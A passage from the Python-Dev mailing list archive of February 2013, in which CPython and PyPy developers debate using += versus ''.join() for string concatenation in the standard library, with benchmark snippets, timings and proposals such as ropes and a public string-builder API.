TypeError: sum() can't sum strings [use ''.join(seq) instead]

The doc entry for sum says the same thing.

-- 
Terry Jan Reedy


From solipsis at pitrou.net  Wed Feb 13 08:14:33 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 13 Feb 2013 08:14:33 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511AD00F.8060103@python.org>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<CADrh4zJ3LdD_oE9EPOs7otKc3KCehuhEVxo3b0TSfwfNC0T=8Q@mail.gmail.com>
	<20130212223249.1457ff6b@pitrou.net> <511AD00F.8060103@python.org>
Message-ID: <20130213081433.7e8f0c24@pitrou.net>

On Wed, 13 Feb 2013 00:28:15 +0100
Christian Heimes <christian at python.org> wrote:
> Am 12.02.2013 22:32, schrieb Antoine Pitrou:
> > For the record, io.StringIO should be quite fast in 3.3.
> > (except for the method call overhead that Guido is complaining
> > about :-))
> 
> AFAIK it's not the actual *call* of the method that is slow, but rather
> attribute lookup and creation of bound method objects.

Take a look at http://bugs.python.org/issue17170


From solipsis at pitrou.net  Wed Feb 13 08:16:21 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 13 Feb 2013 08:16:21 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<CADiSq7ev6X=AeEYXDUWSCvPvT2m6gYd9GTZAXOhGNd+7s+bU3Q@mail.gmail.com>
Message-ID: <20130213081621.4c4c382e@pitrou.net>

On Wed, 13 Feb 2013 09:39:23 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:
> On 13 Feb 2013 07:08, "Maciej Fijalkowski" <fijall at gmail.com> wrote:
> >
> > Hi
> >
> > We recently encountered a performance issue in stdlib for pypy. It
> > turned out that someone commited a performance "fix" that uses += for
> > strings instead of "".join() that was there before.
> >
> > Now this hurts pypy (we can mitigate it to some degree though) and
> > possible Jython and IronPython too.
> >
> > How people feel about generally not having += on long strings in
> > stdlib (since the refcount = 1 thing is a hack)?
> >
> > What about other performance improvements in stdlib that are
> > problematic for pypy or others?
> >
> > Personally I would like cleaner code in stdlib vs speeding up CPython.
> 
> For the specific case of "Don't rely on the fragile refcounting hack in
> CPython's string concatenation" I strongly agree. However, as a general
> principle, I can't agree until speed.python.org is a going concern and we
> can get a reasonable overview of any resulting performance implications.

Anybody can run the benchmark suite for himself, speed.p.o is
(fortunately) not a roadblock:
http://bugs.python.org/issue17170

Regards

Antoine.



From solipsis at pitrou.net  Wed Feb 13 08:24:22 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 13 Feb 2013 08:24:22 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<CADiSq7ev6X=AeEYXDUWSCvPvT2m6gYd9GTZAXOhGNd+7s+bU3Q@mail.gmail.com>
	<20130213081621.4c4c382e@pitrou.net>
Message-ID: <20130213082422.74673bd1@pitrou.net>

On Wed, 13 Feb 2013 08:16:21 +0100
Antoine Pitrou <solipsis at pitrou.net> wrote:
> On Wed, 13 Feb 2013 09:39:23 +1000
> Nick Coghlan <ncoghlan at gmail.com> wrote:
> > On 13 Feb 2013 07:08, "Maciej Fijalkowski" <fijall at gmail.com> wrote:
> > >
> > > Hi
> > >
> > > We recently encountered a performance issue in stdlib for pypy. It
> > > turned out that someone commited a performance "fix" that uses += for
> > > strings instead of "".join() that was there before.
> > >
> > > Now this hurts pypy (we can mitigate it to some degree though) and
> > > possible Jython and IronPython too.
> > >
> > > How people feel about generally not having += on long strings in
> > > stdlib (since the refcount = 1 thing is a hack)?
> > >
> > > What about other performance improvements in stdlib that are
> > > problematic for pypy or others?
> > >
> > > Personally I would like cleaner code in stdlib vs speeding up CPython.
> > 
> > For the specific case of "Don't rely on the fragile refcounting hack in
> > CPython's string concatenation" I strongly agree. However, as a general
> > principle, I can't agree until speed.python.org is a going concern and we
> > can get a reasonable overview of any resulting performance implications.
> 
> Anybody can run the benchmark suite for himself, speed.p.o is
> (fortunately) not a roadblock:
> http://bugs.python.org/issue17170

And I meant to paste the repo URL actually:
http://hg.python.org/benchmarks/

Regards

Antoine.



From fijall at gmail.com  Wed Feb 13 08:35:28 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 13 Feb 2013 09:35:28 +0200
Subject: [Python-Dev] [pypy-dev] efficient string concatenation (yep,
	from 2004)
In-Reply-To: <511AD5E1.1060209@stackless.com>
References: <511AD5E1.1060209@stackless.com>
Message-ID: <CAK5idxRXBhyvDX7k31fT8GpkwFZT150TEPGOCa3ipgCGRCJxFw@mail.gmail.com>

Hi Christian.

We have it, just not enabled by default. --objspace-with-strbuf I think

On Wed, Feb 13, 2013 at 1:53 AM, Christian Tismer <tismer at stackless.com> wrote:
> Hi friends,
>
> efficient string concatenation has been a topic in 2004.
> Armin Rigo proposed a patch with the name of the subject,
> more precisely:
>
> [Patches] [ python-Patches-980695 ] efficient string concatenation
> on sourceforge.net, on 2004-06-28.
>
> This patch was finally added to Python 2.4 on 2004-11-30.
>
> Some people might remember the larger discussion if such a patch should be
> accepted at all, because it changes the programming style for many of us
> from "don't do that, stupid" to "well, you may do it in CPython", which has
> quite
> some impact on other implementations (is it fast on Jython, now?).
>
> It changed for instance my programming and teaching style a lot, of course!
>
> But I think nobody but people heavily involved in PyPy expected this:
>
> Now, more than eight years after that patch appeared and made it into 2.4,
> PyPy (!) still does _not_ have it!
>
> Obviously I was mislead by other optimizations, and the fact that
> this patch was from a/the major author of PyPy who invented the initial
> patch for CPython. That this would be in PyPy as well sooner or later was
> without question for me. Wrong... ;-)
>
> Yes, I agree that for PyPy it is much harder to implement without the
> refcounting trick, and probably even more difficult in case of the JIT.
>
> But nevertheless, I tried to find any reference to this missing crucial
> optimization,
> with no success after an hour (*).
>
> And I guess many other people are stepping in the same trap.
>
> So I can imagine that PyPy looses some of its speed in many programs,
> because
> Armin's great hack did not make it into PyPy, and this is not loudly
> declared
> somewhere. I believe the efficiency of string concatenation is something
> that people assume by default and add it to the vague CPython compatibility
> claim, if not explicitly told otherwise.
>
> ----
>
> Some silly proof, using python 2.7.3 vs PyPy 1.9:
>
> $ cat strconc.py
> #!env python
>
> from timeit import default_timer as timer
>
> tim = timer()
>
> s = ''
> for i in xrange(100000):
>      s += 'X'
>
> tim = timer() - tim
>
> print 'time for {} concats = {:0.3f}'.format(len(s), tim)
>
>
> $ python strconc.py
> time for 100000 concats = 0.028
> $ pypy strconc.py
> time for 100000 concats = 0.804
>
>
> Something is needed - a patch for PyPy or for the documentation I guess.
>
> This is not just some unoptimized function in some module, but it is used
> all over the place and became a very common pattern since introduced.
>
> How ironic that a foreseen problem occurs _now_, and _there_ :-)
>
> cheers -- chris
>
>
> (*)
> http://pypy.readthedocs.org/en/latest/cpython_differences.html
> http://pypy.org/compat.html
> http://pypy.org/performance.html
>
> --
> Christian Tismer             :^)   <mailto:tismer at stackless.com>
> Software Consulting          :     Have a break! Take a ride on Python's
> Karl-Liebknecht-Str. 121     :    *Starship* http://starship.python.net/
> 14482 Potsdam                :     PGP key -> http://pgp.uni-mainz.de
> phone +49 173 24 18 776  fax +49 (30) 700143-0023
> PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
>       whom do you want to sponsor today?   http://www.stackless.com/
>
>
> _______________________________________________
> pypy-dev mailing list
> pypy-dev at python.org
> http://mail.python.org/mailman/listinfo/pypy-dev
>

From regebro at gmail.com  Wed Feb 13 08:42:17 2013
From: regebro at gmail.com (Lennart Regebro)
Date: Wed, 13 Feb 2013 08:42:17 +0100
Subject: [Python-Dev] efficient string concatenation (yep, from 2004)
In-Reply-To: <511AD5E1.1060209@stackless.com>
References: <511AD5E1.1060209@stackless.com>
Message-ID: <CAL0kPAWk2F-AGyFmjKcwxG5_4-T8rjba+WNin+vAqhTvU+ffRA@mail.gmail.com>

> Something is needed - a patch for PyPy or for the documentation I guess.

Not arguing that it wouldn't be good, but I disagree that it is needed.

This is only an issue when you, as in your proof, have a loop that
does concatenation. This is usually when looping over a list of
strings that should be concatenated together. Doing so in a loop with
concatenation may be the natural way for people new to Python, but the
"natural" way to do it in Python is with a ''.join() call.

This:

    s = ''.join(('X' for x in xrange(x)))

Is more than twice as fast in Python 2.7 than your example. It is in
fact also slower in PyPy 1.9 than Python 2.7, but only with a factor
of two:

Python 2.7:
time for 10000000 concats = 0.887
Pypy 1.9:
time for 10000000 concats = 1.600

(And of course s = 'X'* x takes only a bout a hundredth of the time,
but that's cheating. ;-)

//Lennart

From alexandre at peadrop.com  Wed Feb 13 08:42:59 2013
From: alexandre at peadrop.com (Alexandre Vassalotti)
Date: Tue, 12 Feb 2013 23:42:59 -0800
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511AEB75.6090808@stackless.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com>
Message-ID: <CANcUUeezB2cFZ6VMg+EXiThG5BFTyL6sG+wQxj-_ZZvycuGWXw@mail.gmail.com>

On Tue, Feb 12, 2013 at 5:25 PM, Christian Tismer <tismer at stackless.com>wrote:

> Would ropes be an answer (and a simple way to cope with string mutation
> patterns) as an alternative implementation, and therefore still justify
> the usage of that pattern?
>

I don't think so. Ropes are really useful when you work with gigabytes of
data, but unfortunately they don't make good general-purpose strings.
Monolithic arrays are much more efficient and simple for the typical
use-cases we have in Python.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130212/b1f2d56c/attachment.html>

From ncoghlan at gmail.com  Wed Feb 13 08:52:56 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 13 Feb 2013 17:52:56 +1000
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CANcUUeezB2cFZ6VMg+EXiThG5BFTyL6sG+wQxj-_ZZvycuGWXw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com>
	<CANcUUeezB2cFZ6VMg+EXiThG5BFTyL6sG+wQxj-_ZZvycuGWXw@mail.gmail.com>
Message-ID: <CADiSq7drWUc76TqQCE=iwRF7JK7FYY75LFug_Lw+de_qWxXwZw@mail.gmail.com>

On Wed, Feb 13, 2013 at 5:42 PM, Alexandre Vassalotti
<alexandre at peadrop.com> wrote:
> On Tue, Feb 12, 2013 at 5:25 PM, Christian Tismer <tismer at stackless.com>
> wrote:
>>
>> Would ropes be an answer (and a simple way to cope with string mutation
>> patterns) as an alternative implementation, and therefore still justify
>> the usage of that pattern?
>
>
> I don't think so. Ropes are really useful when you work with gigabytes of
> data, but unfortunately they don't make good general-purpose strings.
> Monolithic arrays are much more efficient and simple for the typical
> use-cases we have in Python.

If I recall correctly, io.StringIO and io.BytesIO have been updated to
use ropes internally in 3.3. Writing to one of those and then calling
getvalue() at the end is the main alternative to the list+join trick
(when concatenating many small strings, the memory saving relative to
a list can be notable since strings have a fairly large per-instance
overhead).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From victor.stinner at gmail.com  Wed Feb 13 09:02:07 2013
From: victor.stinner at gmail.com (Victor Stinner)
Date: Wed, 13 Feb 2013 09:02:07 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
Message-ID: <CAMpsgwYyih6GrjaHqHKynTwqpNck86Zykwrwyfdb5sovbdyvQA@mail.gmail.com>

I added a _PyUnicodeWriter internal API to optimize str%args and
str.format(args). It uses a buffer which is overallocated, so it's
basically like CPython str += str optimization. I still don't know how
efficient it is on Windows, since realloc() is slow on Windows (at
least on old Windows versions).

We should add an official and public API to concatenate strings. I
know that PyPy has already its own API. Example:

writer = UnicodeWriter()
for item in data:
    writer += item   # i guess that it's faster than writer.append(item)
return str(writer) # or writer.getvalue() ?

I don't care of the exact implementation of UnicodeWriter, it just
have to be as fast or faster than ''.join(data).

I don't remember if _PyUnicodeWriter is faster than StringIO or
slower. I created an issue for that:
http://bugs.python.org/issue15612

Victor

2013/2/12 Maciej Fijalkowski <fijall at gmail.com>:
> Hi
>
> We recently encountered a performance issue in stdlib for pypy. It
> turned out that someone commited a performance "fix" that uses += for
> strings instead of "".join() that was there before.
>
> Now this hurts pypy (we can mitigate it to some degree though) and
> possible Jython and IronPython too.
>
> How people feel about generally not having += on long strings in
> stdlib (since the refcount = 1 thing is a hack)?
>
> What about other performance improvements in stdlib that are
> problematic for pypy or others?
>
> Personally I would like cleaner code in stdlib vs speeding up CPython.
> Typically that also helps pypy so I'm not unbiased.
>
> Cheers,
> fijal
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/victor.stinner%40gmail.com

From fijall at gmail.com  Wed Feb 13 09:12:24 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 13 Feb 2013 10:12:24 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAMpsgwYyih6GrjaHqHKynTwqpNck86Zykwrwyfdb5sovbdyvQA@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<CAMpsgwYyih6GrjaHqHKynTwqpNck86Zykwrwyfdb5sovbdyvQA@mail.gmail.com>
Message-ID: <CAK5idxRrCiJH3ztUkOSUURb7RTN+hZavGLqpbRw2cWjpv=tktA@mail.gmail.com>

On Wed, Feb 13, 2013 at 10:02 AM, Victor Stinner
<victor.stinner at gmail.com> wrote:
> I added a _PyUnicodeWriter internal API to optimize str%args and
> str.format(args). It uses a buffer which is overallocated, so it's
> basically like CPython str += str optimization. I still don't know how
> efficient it is on Windows, since realloc() is slow on Windows (at
> least on old Windows versions).
>
> We should add an official and public API to concatenate strings. I
> know that PyPy has already its own API. Example:
>
> writer = UnicodeWriter()
> for item in data:
>     writer += item   # i guess that it's faster than writer.append(item)
> return str(writer) # or writer.getvalue() ?
>
> I don't care of the exact implementation of UnicodeWriter, it just
> have to be as fast or faster than ''.join(data).
>
> I don't remember if _PyUnicodeWriter is faster than StringIO or
> slower. I created an issue for that:
> http://bugs.python.org/issue15612
>
> Victor

it's in __pypy__.builders (StringBuilder and UnicodeBuilder). The API
does not really matter, as long as there is a way to preallocate
certain size (which I don't think there is in StringIO for example).
bytearray comes close but has a relatively inconvinient API and any
pure-python bytearray wrapper will not be fast on CPython.

From regebro at gmail.com  Wed Feb 13 09:15:35 2013
From: regebro at gmail.com (Lennart Regebro)
Date: Wed, 13 Feb 2013 09:15:35 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
Message-ID: <CAL0kPAUjfW7L58MNN_2oix+aJGMM5w30uMaM_iGAwScWS4A3Lg@mail.gmail.com>

On Tue, Feb 12, 2013 at 10:03 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
> Hi
>
> We recently encountered a performance issue in stdlib for pypy. It
> turned out that someone commited a performance "fix" that uses += for
> strings instead of "".join() that was there before.

Can someone show the actual diff? Of this?

I'm making a talk about outdated patterns in Python at DjangoCon EU,
prompted by this question, and obsessive avoidance of string
concatenation. But all the tests I've done show that ''.join() still
is faster or as fast, except when you are joining very few strings,
like for example two strings, in which case concatenation is faster or
as fast. Both under PyPy and CPython. So I'd like to know in which
case ''.hoin() is faster on PyPy and += faster on CPython.

Code with times

    x = 100000
    s1 = 'X'* x
    s2 = 'X'* x

    for i in xrange(500):
         s1 += s2

Python 3.3: 0.049 seconds
PyPy 1.9: 24.217 seconds

PyPy indeed is much much slower than CPython here.
But let's look at the join case:

    x = 100000
    s1 = 'X'* x
    s2 = 'X'* x

    for i in xrange(500):
         s1 = ''.join((s1, s2))

Python 3.3: 18.969 seconds
PyPy 1.9: 62.539 seconds

Here PyPy needs twice the time, and CPython needs 387 times as long
time. Both are slower.

The best case is of course to make a long list of strings and join them:

    x = 100000
    s1 = 'X'* x
    s2 = 'X'* x

    l = [s1]
    for i in xrange(500):
         l.append(s2)

    s1 = ''.join(l)

Python 3.3: 0.052 seconds
PyPy 1.9: 0.117 seconds

That's not always feasible though.


//Lennart

From larry at hastings.org  Wed Feb 13 09:52:18 2013
From: larry at hastings.org (Larry Hastings)
Date: Wed, 13 Feb 2013 00:52:18 -0800
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511AEB75.6090808@stackless.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com>
Message-ID: <511B5442.4020309@hastings.org>

On 02/12/2013 05:25 PM, Christian Tismer wrote:
> Ropes have been implemented by Carl-Friedrich Bolz in 2007 as I remember.
> No idea what the impact was, if any at all.
> Would ropes be an answer (and a simple way to cope with string mutation
> patterns) as an alternative implementation, and therefore still justify
> the usage of that pattern?

I've always hated the "".join(array) idiom for "fast" string 
concatenation--it's ugly and it flies in the face of TOOWTDI.  I think 
everyone should use "x = a + b + c + d" for string concatenation, and we 
should just make that fast.

In 2006 I proposed "lazy string concatenation", a sort of rope that hid 
the details inside the string object.  If a and b are strings, a+b 
returned a string object that internally lazily contained references to 
a and b, and only computed its value if you asked for it.  Here's the 
Unicode version:

    http://bugs.python.org/issue1629305

Why didn't it get accepted?  I lumped in lazy slicing, a bad move as it 
was more controversial.  That and the possibility that macros like 
PyUnicode_AS_UNICODE could now possibly fail, which would have meant 
checking 400+ call sites to ensure they handle the possibility of 
failure.  This latter work has already happened with the new efficient 
Unicode representation patch.

I keep thinking it's time to revive the lazy string concatenation patch.


//arry/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/064734f7/attachment.html>

From chris at python.org  Wed Feb 13 10:09:34 2013
From: chris at python.org (Chris Withers)
Date: Wed, 13 Feb 2013 09:09:34 +0000
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
Message-ID: <511B584E.9020206@python.org>

On 12/02/2013 21:03, Maciej Fijalkowski wrote:
> We recently encountered a performance issue in stdlib for pypy. It
> turned out that someone commited a performance "fix" that uses += for
> strings instead of "".join() that was there before.

That's... interesting.

I fixed a performance bug in httplib some years ago by doing the exact 
opposite; += -> ''.join(). In that case, it changed downloading a file 
from 20 minutes to 3 seconds. That was likely on Python 2.5.

> How people feel about generally not having += on long strings in
> stdlib (since the refcount = 1 thing is a hack)?

+1 from me.

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From solipsis at pitrou.net  Wed Feb 13 10:31:42 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 13 Feb 2013 10:31:42 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<CAMpsgwYyih6GrjaHqHKynTwqpNck86Zykwrwyfdb5sovbdyvQA@mail.gmail.com>
Message-ID: <20130213103142.382aa6cc@pitrou.net>

Le Wed, 13 Feb 2013 09:02:07 +0100,
Victor Stinner <victor.stinner at gmail.com> a ?crit :
> I added a _PyUnicodeWriter internal API to optimize str%args and
> str.format(args). It uses a buffer which is overallocated, so it's
> basically like CPython str += str optimization. I still don't know how
> efficient it is on Windows, since realloc() is slow on Windows (at
> least on old Windows versions).
> 
> We should add an official and public API to concatenate strings.

There's io.StringIO already.

Regards

Antoine.



From storchaka at gmail.com  Wed Feb 13 12:28:32 2013
From: storchaka at gmail.com (Serhiy Storchaka)
Date: Wed, 13 Feb 2013 13:28:32 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
Message-ID: <kfftd0$cso$1@ger.gmane.org>

On 12.02.13 23:03, Maciej Fijalkowski wrote:
> How people feel about generally not having += on long strings in
> stdlib (since the refcount = 1 thing is a hack)?

Sometimes the use of += for strings or bytes is appropriate. For 
example, I deliberately used += for bytes instead b''.join() (note that 
there is even no such hack for bytes) in zipfile module where in most 
cases one of component is empty, and the concatenation of nonempty 
components only happens once. b''.join() was noticeably slower here.


From steve at pearwood.info  Wed Feb 13 12:37:13 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Wed, 13 Feb 2013 22:37:13 +1100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511B5442.4020309@hastings.org>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
Message-ID: <511B7AE9.2080209@pearwood.info>

On 13/02/13 19:52, Larry Hastings wrote:

> I've always hated the "".join(array) idiom for "fast" string concatenation
>--it's ugly and it flies in the face of TOOWTDI. I think everyone should
>use "x = a + b + c + d" for string concatenation, and we should just make
>  that fast.


"".join(array) is much nicer looking than:

     # ridiculous and impractical for more than a few items
     array[0] + array[1] + array[2] + ... + array[N]

or:

     # not an expression
     result = ""
     for s in array:
         result += s

or even:

     # currently prohibited, and not obvious
     sum(array, "")

although I will admit to a certain fondness towards

     # even less obvious than sum
     map(operator.add, array)


and join has been the obvious way to do repeated concatenation of many substrings since at least Python 1.5 when it was spelled "string.join(array [, sep=" "]).




-- 
Steven

From storchaka at gmail.com  Wed Feb 13 12:37:44 2013
From: storchaka at gmail.com (Serhiy Storchaka)
Date: Wed, 13 Feb 2013 13:37:44 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CADiSq7drWUc76TqQCE=iwRF7JK7FYY75LFug_Lw+de_qWxXwZw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com>
	<CANcUUeezB2cFZ6VMg+EXiThG5BFTyL6sG+wQxj-_ZZvycuGWXw@mail.gmail.com>
	<CADiSq7drWUc76TqQCE=iwRF7JK7FYY75LFug_Lw+de_qWxXwZw@mail.gmail.com>
Message-ID: <kfftu9$hi4$1@ger.gmane.org>

On 13.02.13 09:52, Nick Coghlan wrote:
> On Wed, Feb 13, 2013 at 5:42 PM, Alexandre Vassalotti
> <alexandre at peadrop.com> wrote:
>> I don't think so. Ropes are really useful when you work with gigabytes of
>> data, but unfortunately they don't make good general-purpose strings.
>> Monolithic arrays are much more efficient and simple for the typical
>> use-cases we have in Python.
>
> If I recall correctly, io.StringIO and io.BytesIO have been updated to
> use ropes internally in 3.3.

io.BytesIO has not yet. But it will be in 3.4 (issue #15381).

On the other hand, there is a plan for rewriting StringIO to more 
effective continuous buffer implementation (issue #15612).


From python-dev at masklinn.net  Wed Feb 13 12:46:33 2013
From: python-dev at masklinn.net (Xavier Morel)
Date: Wed, 13 Feb 2013 12:46:33 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511B7AE9.2080209@pearwood.info>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<511B7AE9.2080209@pearwood.info>
Message-ID: <193A64B4-EB87-450A-9DF1-E1B7A890648E@masklinn.net>

On 2013-02-13, at 12:37 , Steven D'Aprano wrote:
> 
>    # even less obvious than sum
>    map(operator.add, array)

That one does not work, it'll try to call the binary `add` with each
item of the array when the map iterator is reified, erroring out.

    functools.reduce(operator.add, array, '')

would work though, it's an other way to spell `sum` without the
string prohibition.

From steve at pearwood.info  Wed Feb 13 12:53:25 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Wed, 13 Feb 2013 22:53:25 +1100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511B584E.9020206@python.org>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<511B584E.9020206@python.org>
Message-ID: <511B7EB5.3040401@pearwood.info>

On 13/02/13 20:09, Chris Withers wrote:
> On 12/02/2013 21:03, Maciej Fijalkowski wrote:
>> We recently encountered a performance issue in stdlib for pypy. It
>> turned out that someone commited a performance "fix" that uses += for
>> strings instead of "".join() that was there before.
>
> That's... interesting.
>
> I fixed a performance bug in httplib some years ago by doing the exact opposite; += -> ''.join(). In that case, it changed downloading a file from 20 minutes to 3 seconds. That was likely on Python 2.5.


I remember it well.

http://mail.python.org/pipermail/python-dev/2009-August/091125.html

I frequently link to this thread as an example of just how bad repeated string concatenation can be, how painful it can be to debug, and how even when the optimization is fast on one system, it may fail and be slow on another system.



-- 
Steven

From steve at pearwood.info  Wed Feb 13 12:56:39 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Wed, 13 Feb 2013 22:56:39 +1100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <193A64B4-EB87-450A-9DF1-E1B7A890648E@masklinn.net>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<511B7AE9.2080209@pearwood.info>
	<193A64B4-EB87-450A-9DF1-E1B7A890648E@masklinn.net>
Message-ID: <511B7F77.9020801@pearwood.info>

On 13/02/13 22:46, Xavier Morel wrote:
> On 2013-02-13, at 12:37 , Steven D'Aprano wrote:
>>
